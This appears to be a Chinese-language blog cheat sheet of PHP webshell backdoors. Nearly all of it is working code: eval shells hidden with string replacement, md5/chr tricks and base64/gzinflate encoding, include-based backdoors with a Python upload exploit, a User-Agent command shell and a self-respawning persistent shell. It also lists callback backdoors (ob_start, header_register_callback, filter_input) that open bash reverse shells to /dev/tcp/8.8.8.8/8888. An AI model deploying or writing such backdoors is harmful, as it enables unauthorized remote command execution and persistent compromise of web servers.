直接使用eval

1
<?php @eval($_POST[shell]);?>

字符替换

替换一

替换参数

1
<?php $s=$_POST['shell']; @eval("$s;");?>

替换二

替换函数

1
<?php $s=str_replace('x','','exxvxxaxxl'); @$s($_POST[shell]);?>

替换三

替换函数进阶
1
<?php @$_GET[func]($_POST[code]);?>
截断替换
1
<?php $s=substr('helloworldeval',10);@$s($_POST[shell]);?>

替换四

通过索引取md5值中的字符,再加上chr转换构造出assert

1
2
3
4
5
<?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>

编码构造

base64() :使用base64对数据进行编码

gzdeflate() :对数据进行Deflate压缩,gzinflate()解压缩

str_rot13() :对字符串执行 ROT13 转换

bae64编码

参数编码

1
<?php @base64_decode($_GET['a'])($_GET[b]);?>
1
eval(gzinflate(base64_decode($code)));

文件包含型后门

include

include可以解析php,不管文件的后缀是什么样的

1
2
$filename=$_GET['code']; 
include ($filename);

可以上传一个txt后缀格式的文件,包含一下

include进阶

php有一个特性,接受上传的临时文件,在这个请求结束后,会把临时文件删除,所以必须在上传文件的请求包内,调用webshell

tshell.php

1
2
3
<?php
include($_FILES["file"]["tmp_name"]);
?>

exp.py

1
2
3
4
5
6
7
# -*- coding: utf-8 -*-
import requests
url = "http://127.0.0.1/tshell.php?c=system('id');"
files = {'file': ('filename.php', '<?php eval($_REQUEST[c]);?>', 'image/jpeg')}
response = requests.post(url, files=files)
content = response.content
print content

包含请求头

1
<?php system($_SERVER['HTTP_USER_AGENT']);?>

通过user_agent传参

内存驻留马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>

create_function()

回调函数

ob_start

1
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>

header_register_callback

1
2
<?php function a() {exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}header_register_callback('a');?>
<?php function a() {$_GET[c]($_GET[d]);}header_register_callback('a');?>

filter_input

1
2
3
4
5
# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php function a($value){ exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php function a($c){$c($_GET['d']);}filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));?>

类似的函数还有

1
2
3
filter_var() - Filters a variable with a specified filter
filter_input_array() - Gets external variables and optionally filters them
filter_var_array() - Gets multiple variables and optionally filters them

stream_wrapper_register

1
2
3
4
5
6
7
8
9
10
<?php
class A{
function __construct(){
phpinfo();
// $_GET[c]($_GET[d]);
}
}
stream_wrapper_register("st", "A");
$fp = fopen("st://","r");
?>

参考链接

https://www.anquanke.com/post/id/85083

https://www.jianshu.com/p/13cb1d8d0441